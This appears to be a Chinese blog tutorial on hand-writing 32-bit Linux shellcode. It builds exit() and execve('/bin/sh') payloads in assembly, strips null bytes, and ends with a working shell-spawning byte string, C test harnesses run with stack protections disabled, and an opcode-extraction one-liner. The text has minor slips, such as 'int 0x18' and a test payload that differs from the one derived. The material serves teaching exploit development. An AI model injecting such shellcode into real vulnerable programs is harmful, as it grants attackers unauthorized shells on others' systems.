系統調用
shellcode是一組可注入的指令,可以在被攻擊的程序中運行。由於shellcode要直接操作寄存器和函數,所以必須是十六進制的形式。
那麼爲什麼要寫shellcode呢?因爲我們要讓目標程序以不同於設計者預期的方式運行,而操作的程序的方法之一就是強制它產生系統調用(system,call,syscall)。通過系統調用,你可以直接訪問系統內核。
在Linux裏有兩個方法來執行系統調用,間接的方法是c函數包裝(libc),直接的方法是用匯編指令(通過把適當的參數加載到寄存器,然後調用int 0x80軟中斷)
系統調用號是確定一個系統調用的關鍵數字,在執行int指令之前,它應當被傳入EAX寄存器中,確定了一個系統調用號之後就要考慮給該系統調用傳遞什麼參數來完成什麼樣的功能。存放參數的寄存器有5個,他們是EBX,ECX,EDX,ESI和EDI,這五個寄存器順序的存放傳入的系統調用參數。在Ubuntu18.04上可通過以下文件查看系統調用號:
/usr/include/x86_64-linux-gnu/asm/unistd_32.h
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
ASCII碼
爲exit()系統調用寫shellcode
exit系統調用流程
手寫查看exit的系統調用流程。編寫exit.c代碼:
#include<stdio.h>
#include <unistd.h>
#include<stdlib.h>
int main(){
exit(0);
}
編譯時使用static選項,防止使用動態鏈接,在程序裏保留exit系統調用代碼
gcc -static -o exit exit.c -32
_exit <+0> 把系統調用的參數加載到ebx
_exit <+4>和_exit <+16>行是把對應的系統調用編號分別被複制到eax。
最後的int 0x80指令把cpu切換到內核模式,並執行我們的系統調用。
shellcode編寫
要注意的是我們的shellcode應該儘量地簡潔緊湊,這樣才能注入更小的緩衝區(當你遇到n字節長的緩衝區時,你不僅要把整個shellcode複製到緩衝區,還要加上調用shellcode的指令,所以shellcode必須比n小)。
在實際環境中,shellcode將在沒有其他指令爲它設置參數的情況下執行,所以我們必須自己設置參數。這裏我們先通過將0放入ebx中的方法來設置參數。
參考exit系統調用流程
(1)將0放入ebx中
(2)將0x1放入eax中
(3)調用int 0x18
編寫exit_shellcode.asm
Section .text
global _start
_start:
mov ebx, 0
mov ax, 1
int 0x80
然後用nasm編譯,生成目標文件,再用gun ld來連接:
nasm -f elf32 -o hello.o exit_shellcode.asm
ld -m elf_i386 -o hello hello.o
查看相應的opcode:
注意:看起來好像是成功了。但是很遺憾,這個shellcode在實際攻擊中可能會無法使用。
可以看到,這串shellcode中還有一些NULL(\x00)字符,當我們把shellcode複製到緩衝區時,有時候會出現異常(因爲字符數組用null做終止符)。要編寫真正有用的shellcode我們還要想辦法把\x00消去。
對上面的代碼進行優化,來去除(\x00),如下所是:
Section .text
global _start
_start:
xor ebx, ebx
mov al, 1
int 0x80
使用nasm編譯和gun ld進行連接,通過objdump進行查看,如下所是:
嗯,已經沒有\x00了。接下來就可以編寫個c程序來測試這個shellcode了。
這塊設計到c語言的指針函數和函數指針。後續更新指針函數相關內容。
char shellcode[] = "\x31\xdb"
"\xb0\x01"
"\xcd\x80";
int main(void)
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
編譯後用strace來查看系統調用:
爲execve()編寫shellcode
通過execve返回shell
#include<unistd.h>
#include<stdlib.h>
char *buf [] = {"/bin/sh",NULL};
int main(void)
{
execve("/bin/sh",buf,0);
exit(0);
}
編譯程序,運行可獲得系統shell:
開始編寫shellcode:
global _start
_start:
mov eax,0 ;eax置0
mov edx,0 ;edx置0
push edx
push "/sh"
push "/bin" ;將/bin/sh存入棧中
mov ebx,esp ;ebx指向/bin/sh字符串
xor eax,eax
mov al,0Bh ;eax置爲execve函數中斷號
int 80h
保存爲shellcode.asm,通過編譯鏈接,然後運行,獲得shell
獲得機器碼
$ objdump -d shellcode shellcode: file format elf32-i386
Disassembly of section .text: 08048060 <_start>: 8048060: b8 00
00 00 00 mov $0x0,%eax 8048065: ba 00 00 00 00
mov $0x0,%edx 804806a: 52 push %edx
804806b: 68 2f 73 68 00 push $0x68732f 8048070: 68 2f
62 69 6e push $0x6e69622f 8048075: 89 e3
mov %esp,%ebx 8048077: 31 c0 xor %eax,%eax
8048079: b0 0b mov $0xb,%al 804807b: cd 80
int $0x80
發現機器碼中有許多/x00字節,shellcode中存在/x00字節在進行利用的時候會被截斷,所以我們要避免出現/x00字節,重新修改我們的彙編程序
global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80h
編譯鏈接運行,得到機器碼
$ objdump -d ./shellcode
./shellcode: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c9 xor %ecx,%ecx
8048062: 31 d2 xor %edx,%edx
8048064: 52 push %edx
8048065: 68 2f 2f 73 68 push $0x68732f2f
804806a: 68 2f 62 69 6e push $0x6e69622f
804806f: 89 e3 mov %esp,%ebx
8048071: 31 c0 xor %eax,%eax
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
沒有出現/x00字節,得到最終的 shellcode = “\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80”
測試代碼:
void main(){
char shellcode[] = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
void (*fp)(void);
fp = (void*)shellcode;
fp();
}
編譯:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -m32
這裏分享一個方便提取shellcode的指令,其中./execve-stack是可執行程序
objdump -d ./execve-stack|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2
-d:|cut -f1-6 -d’ '|tr -s ’ '|tr ‘\t’ ’ '|sed ‘s/ /"/g’
公衆號
更過內容可關注公衆號